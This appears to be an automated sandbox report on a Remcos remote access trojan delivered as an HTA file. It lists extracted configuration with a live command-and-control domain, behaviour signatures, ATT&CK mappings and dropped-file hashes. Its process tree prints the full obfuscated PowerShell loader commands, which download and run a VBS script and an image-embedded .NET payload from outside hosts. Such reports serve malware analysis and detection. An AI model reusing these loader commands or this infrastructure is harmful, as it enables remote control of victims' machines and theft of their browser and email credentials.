remcos | 986b693f564b364a2f69261f1f825d6a26afec8db9a3aa46fd2a964e45dc2a1c

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
23-01-2025 16:04

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General

Target

24d95803236fde4ee8ebfe4671dc28fe.hta
Size

1.2MB
MD5

24d95803236fde4ee8ebfe4671dc28fe
SHA1

677e9c8b79a59b4fa3c8eab8fd318ae31dcd5d95
SHA256

986b693f564b364a2f69261f1f825d6a26afec8db9a3aa46fd2a964e45dc2a1c
SHA512

272adc89c2eedbfd065e3fa54edcb27211db44b998f3e5479cc53c6954c0b37db16e6d2eac0977c040068da07da651f8d9adc440d97e65bbdcb53afb0c4670a0
SSDEEP

768:tJnbjKx80AIu6GTs1A5fRgd4m2hX3IpXj1x+mLvGNtGLN0Go5cLzLWpXj1x5aGIA:tt

Score

10^/10

remcos remotehost collection defense_evasion discovery execution rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

abeangana.duckdns.org:1121

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-B9B8CE
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/2576-106-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/4812-105-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/2240-103-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/2240-103-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/2576-106-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 3 IoCs

flow	pid	Process
15	3100	powershell.exe
21	4424	powershell.exe
22	4424	powershell.exe

Evasion via Device Credential Deployment 1 IoCs

defense_evasion execution

pid	Process
3100	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	CasPol.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4424	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 4424 set thread context of 1716	4424	powershell.exe	100
PID 1716 set thread context of 2576	1716	CasPol.exe	106
PID 1716 set thread context of 2240	1716	CasPol.exe	107
PID 1716 set thread context of 4812	1716	CasPol.exe	108

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
3100	powershell.exe
3100	powershell.exe
4424	powershell.exe
4424	powershell.exe
2576	CasPol.exe
2576	CasPol.exe
4812	CasPol.exe
4812	CasPol.exe
2576	CasPol.exe
2576	CasPol.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
1716	CasPol.exe
1716	CasPol.exe
1716	CasPol.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3100	powershell.exe
Token: SeDebugPrivilege	4424	powershell.exe
Token: SeDebugPrivilege	4812	CasPol.exe

Suspicious use of WriteProcessMemory 40 IoCs

description	pid	Process	procid_target
PID 1224 wrote to memory of 3968	1224	mshta.exe	83
PID 1224 wrote to memory of 3968	1224	mshta.exe	83
PID 1224 wrote to memory of 3968	1224	mshta.exe	83
PID 3968 wrote to memory of 3100	3968	cmd.exe	85
PID 3968 wrote to memory of 3100	3968	cmd.exe	85
PID 3968 wrote to memory of 3100	3968	cmd.exe	85
PID 3100 wrote to memory of 5076	3100	powershell.exe	87
PID 3100 wrote to memory of 5076	3100	powershell.exe	87
PID 3100 wrote to memory of 5076	3100	powershell.exe	87
PID 5076 wrote to memory of 4348	5076	csc.exe	88
PID 5076 wrote to memory of 4348	5076	csc.exe	88
PID 5076 wrote to memory of 4348	5076	csc.exe	88
PID 3100 wrote to memory of 4612	3100	powershell.exe	94
PID 3100 wrote to memory of 4612	3100	powershell.exe	94
PID 3100 wrote to memory of 4612	3100	powershell.exe	94
PID 4612 wrote to memory of 4424	4612	WScript.exe	95
PID 4612 wrote to memory of 4424	4612	WScript.exe	95
PID 4612 wrote to memory of 4424	4612	WScript.exe	95
PID 4424 wrote to memory of 1716	4424	powershell.exe	100
PID 4424 wrote to memory of 1716	4424	powershell.exe	100
PID 4424 wrote to memory of 1716	4424	powershell.exe	100
PID 4424 wrote to memory of 1716	4424	powershell.exe	100
PID 4424 wrote to memory of 1716	4424	powershell.exe	100
PID 4424 wrote to memory of 1716	4424	powershell.exe	100
PID 4424 wrote to memory of 1716	4424	powershell.exe	100
PID 4424 wrote to memory of 1716	4424	powershell.exe	100
PID 4424 wrote to memory of 1716	4424	powershell.exe	100
PID 4424 wrote to memory of 1716	4424	powershell.exe	100
PID 1716 wrote to memory of 2576	1716	CasPol.exe	106
PID 1716 wrote to memory of 2576	1716	CasPol.exe	106
PID 1716 wrote to memory of 2576	1716	CasPol.exe	106
PID 1716 wrote to memory of 2576	1716	CasPol.exe	106
PID 1716 wrote to memory of 2240	1716	CasPol.exe	107
PID 1716 wrote to memory of 2240	1716	CasPol.exe	107
PID 1716 wrote to memory of 2240	1716	CasPol.exe	107
PID 1716 wrote to memory of 2240	1716	CasPol.exe	107
PID 1716 wrote to memory of 4812	1716	CasPol.exe	108
PID 1716 wrote to memory of 4812	1716	CasPol.exe	108
PID 1716 wrote to memory of 4812	1716	CasPol.exe	108
PID 1716 wrote to memory of 4812	1716	CasPol.exe	108

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\24d95803236fde4ee8ebfe4671dc28fe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1224
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/c PowerShELL -eX bYpass -nOp -W 1 -C dEvIceCREDeNtiALDEpLoYMeNt.eXe ; IEX($(ieX('[SysTem.TEXT.ENCOdINg]'+[CHaR]58+[CHAR]0x3a+'UTF8.gEtsTRING([sYSteM.convert]'+[ChAr]0X3a+[cHAr]58+'fROmbaSe64STRING('+[chAr]34+'JDFBeDhTWjJQTDEgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtdHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVtQkVSREVmSU5JVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJMbU9OLkRsTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUGosc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNpd0dacUh1LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDd01TSG4sdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkSCxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgT0NEZEVXcSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiTVlUVHFEbnRtIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZXNQYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtRSnd1cFpDaSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxQXg4U1oyUEwxOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTQ1LjIzOS4yOS4xMi8yMjUvbmljZWdpcmxmcm5kZ2l2ZW5tZWJlc3R0aGluZ3Nmb3JnLmdJRiIsIiRlTlY6QVBQREFUQVxuaWNlZ2lybGZybmRnaXZlbm1lYmVzbmljZWdpcmxmcm5kZ2l2ZW5tZWJlcy52YnMiLDAsMCk7c1RBUlQtc2xFZXAoMyk7aU52b0tFLUV4cFJFc3NJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNlZ2lybGZybmRnaXZlbm1lYmVzbmljZWdpcmxmcm5kZ2l2ZW5tZWJlcy52YnMi'+[CHAr]0X22+'))')))"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3968
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    PowerShELL -eX bYpass -nOp -W 1 -C dEvIceCREDeNtiALDEpLoYMeNt.eXe ; IEX($(ieX('[SysTem.TEXT.ENCOdINg]'+[CHaR]58+[CHAR]0x3a+'UTF8.gEtsTRING([sYSteM.convert]'+[ChAr]0X3a+[cHAr]58+'fROmbaSe64STRING('+[chAr]34+'JDFBeDhTWjJQTDEgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtdHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVtQkVSREVmSU5JVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJMbU9OLkRsTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUGosc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNpd0dacUh1LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDd01TSG4sdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkSCxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgT0NEZEVXcSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiTVlUVHFEbnRtIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZXNQYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtRSnd1cFpDaSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxQXg4U1oyUEwxOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTQ1LjIzOS4yOS4xMi8yMjUvbmljZWdpcmxmcm5kZ2l2ZW5tZWJlc3R0aGluZ3Nmb3JnLmdJRiIsIiRlTlY6QVBQREFUQVxuaWNlZ2lybGZybmRnaXZlbm1lYmVzbmljZWdpcmxmcm5kZ2l2ZW5tZWJlcy52YnMiLDAsMCk7c1RBUlQtc2xFZXAoMyk7aU52b0tFLUV4cFJFc3NJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNlZ2lybGZybmRnaXZlbm1lYmVzbmljZWdpcmxmcm5kZ2l2ZW5tZWJlcy52YnMi'+[CHAr]0X22+'))')))"
    3⤵
    - Blocklisted process makes network request
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3100
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gqf0sljy\gqf0sljy.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5076
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1354.tmp" "c:\Users\Admin\AppData\Local\Temp\gqf0sljy\CSC638A014187454419A0BF936C8B497AC.TMP"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4348
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\nicegirlfrndgivenmebesnicegirlfrndgivenmebes.vbs"
      4⤵
      Checks computer location settings
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4612
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABpAG0AYQBnAGUAVQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AcgBlAHMALgBjAGwAbwB1AGQAaQBuAGEAcgB5AC4AYwBvAG0ALwBkAGEAeAB3AHUAYQA2ADMAeQAvAGkAbQBhAGcAZQAvAHUAcABsAG8AYQBkAC8AdgAxADcAMwA3ADUANAA0ADAANgAzAC8AMQBuAGUAdwBfAGkAbQBhAGcAZQBfAG4AagBwADAAeQByAC4AagBwAGcAJwA7ACAAdAByAHkAIAB7ACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAIAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAA9ACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABpAG0AYQBnAGUAVQByAGwAKQA7ACAAJABpAG0AYQBnAGUAVABlAHgAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAKQA7ACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACAAJABlAG4AZABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACAAaQBmACAAKAAkAHMAdABhAHIAdABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAdAAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAApACAAewAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACAAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJABlAG4AZABJAG4AZABlAHgAIAAtACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACkAOwAgACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAApADsAIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsAJABtAGUAdABoAG8AZAAgAD0AIABbAFIAdQBtAHAALgBDAGwAYQBzAHMAOQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAHMAbQBlAHQAaABvAGQAXwAyACcAKQA7ACAAJABtAGUAdABoAG8AZAAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdAEAAKAAnAHQAeAB0AC4AcwBnAG4AaQBoAHQAdABhAGUAcgBnAGgAdABpAHcAcwBnAG4AaQBoAHQAZABvAG8AZwB0AHMAZQBiAC8ANQAyADIALwAyADEALgA5ADIALgA5ADMAMgAuADUANAAxAC8ALwA6AHAAdAB0AGgAJwAsACcAZgBhAGwAcwBlACcALAAnAGYAYQBsAHMAZQAnACwAJwBmAGEAbABzAGUAJwAsACcAZgBhAGwAcwBlACcALAAnAGYAYQBsAHMAZQAnACwAJwBDAGEAcwBQAG8AbAAnACwAJwBmAGEAbABzAGUAJwApACkAOwAgAH0AIAB9ACAAYwBhAHQAYwBoACAAewAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJwBFAHIAcgBvADoAIAAkAF8AJwA7ACAAfQA=')) | Invoke-Expression"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4424
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
        6⤵
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: MapViewOfSection
        Suspicious use of WriteProcessMemory
        
        PID:1716
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\fsbrynvdfbzigyltglxx"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2576
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\pmhczggftjrmqezxxwkzkkur"
        7⤵
        Accesses Microsoft Outlook accounts
        System Location Discovery: System Language Discovery
        
        PID:2240
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\spmuzyqzhrjzslvbgheavpoiuwd"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4812

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
b97c19ccc5f657fbcb4447a5e78811ec

SHA1
d91182177136d3fbba512b56bf7636b4e404b83d

SHA256
a160883496ec3a9fecb78b02a43bd0a963882df913956499fd1a2a2a11e4be7e

SHA512
19301ef62817c1b598af6b23950e22b4bd531186bca158b5d68a2371ef4e9ca1097135e7333d15f70d15dd93ab592c8b3bd0be801cf634ff0ff3055b598f2f62

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES1354.tmp

Filesize
1KB

MD5
666a77b9f6de710e9da975905290dce4

SHA1
25ba09ee5feb2a1af2252ebd1473fcd1b7d6e0e7

SHA256
a7e5ef90df3ec9a72b364a1c939221d91f3f1714903a703475c2a0ddf5cb6997

SHA512
1d9d2cbefe6c830300b10ec9336f062a5ec49ff0b195ca2329730228fe755aede45925174e957cc11a8e3d51d849f5a0bad7417d4222e233b006030224820c2b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_edd1j0xf.2d5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\fsbrynvdfbzigyltglxx

Filesize
4KB

MD5
17eece3240d08aa4811cf1007cfe2585

SHA1
6c10329f61455d1c96e041b6f89ee6260af3bd0f

SHA256
7cc0db44c7b23e4894fe11f0d8d84b2a82ad667eb1e3504192f3ba729f9a7903

SHA512
a7de8d6322410ec89f76c70a7159645e8913774f38b84aafeeeb9f90dc3b9aa74a0a280d0bb6674790c04a8ff2d059327f02ebfda6c4486778d53b7fc6da6370

Download Submit
C:\Users\Admin\AppData\Local\Temp\gqf0sljy\gqf0sljy.dll

Filesize
3KB

MD5
4f4416cad7ea870d3bf9d26138ed895e

SHA1
66ae9df0f7da9afa85f0bb14d7f6dd784b2df8ba

SHA256
164b66c342a249eaae86e932112603d8b182c40ad915c99e6457ad3e7160232a

SHA512
cd28c0f3952106f6d6195438efdb73263dc092c1f1225e91e73c82bdd221693eb96f3bff6bb8484e4b4a0765fe6f89d1370c4fca8da5731f6eab7b7e6bcae830

Download Submit
C:\Users\Admin\AppData\Roaming\nicegirlfrndgivenmebesnicegirlfrndgivenmebes.vbs

Filesize
205KB

MD5
0e3b19cc6060bed0436e01fe8bc04c44

SHA1
8b99c60c35d7650ed451e3996bcccb7e9f51b7cf

SHA256
35315b1e950898c156611a9074ea43debd10d09098b855e9bfba76eef6ec3d17

SHA512
ad3267ee13123bebd28cee00cb2e128f0bf6213520378b5a45aa9d31b858f140612e2e6aee5d62be3a187af7c004de10ae1f0930e8133dc71c93f011fbde29e2

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\gqf0sljy\CSC638A014187454419A0BF936C8B497AC.TMP

Filesize
652B

MD5
e506f295267a4d3ece55075cb0447af1

SHA1
a2d3ee05ecbeadac5c84668f726d55770ed92fd6

SHA256
a18d9655be7d61a29bcc9ce36c6e1bc6e89bbe2b91787ac941609f314b547285

SHA512
87a465e43dd149188bc9e9e58811c9c7c56d42f54fb1f0530bc850c4889c566d64b756f79e65669821bc0983cebce83c5fd1a401fdf51abd4a6c5c8ece3b21a9

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\gqf0sljy\gqf0sljy.0.cs

Filesize
486B

MD5
3b886b3aeeb8599b37fc0be4fe6ae9d8

SHA1
b6d0a2488bd50c1b7f96cae0e91bdc3a083a5a7e

SHA256
b1dece05fc9ac39567b6cd75ae891827264b7d3606d5996807f1e88840e2c33e

SHA512
ecc3d89869a074e00b7dbb0c3fbe07fd534cb2a100ef6280ffc3f02f66ace38526746761b216061e5d7d519f0b685a1b89a2f51c4e24d8ee900b77b949268458

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\gqf0sljy\gqf0sljy.cmdline

Filesize
369B

MD5
9fd4a581c720cdfe8ac7e7e251186814

SHA1
a49499cde0dcdb943eda989f6df307259d3a76ea

SHA256
9598dbaf5923b39dff6488d34de94a3e1fb84059464cc4d6fa5601269e6675bb

SHA512
bef14828247a79e02696875878a5c6a3f98a2e6dcaf423d20db18e00ade9148a0f27e31f1102a2761080b4fc6486c42f3418c2e5e29c56d39a3086687c60cd3e

Download Submit
memory/1716-89-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1716-119-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1716-116-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/1716-112-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/1716-117-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1716-124-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1716-125-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1716-87-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1716-123-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1716-122-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1716-121-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1716-97-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1716-96-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1716-94-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1716-93-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1716-92-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1716-91-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1716-118-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1716-88-0x0000000000400000-0x0000000000480000-memory.dmp

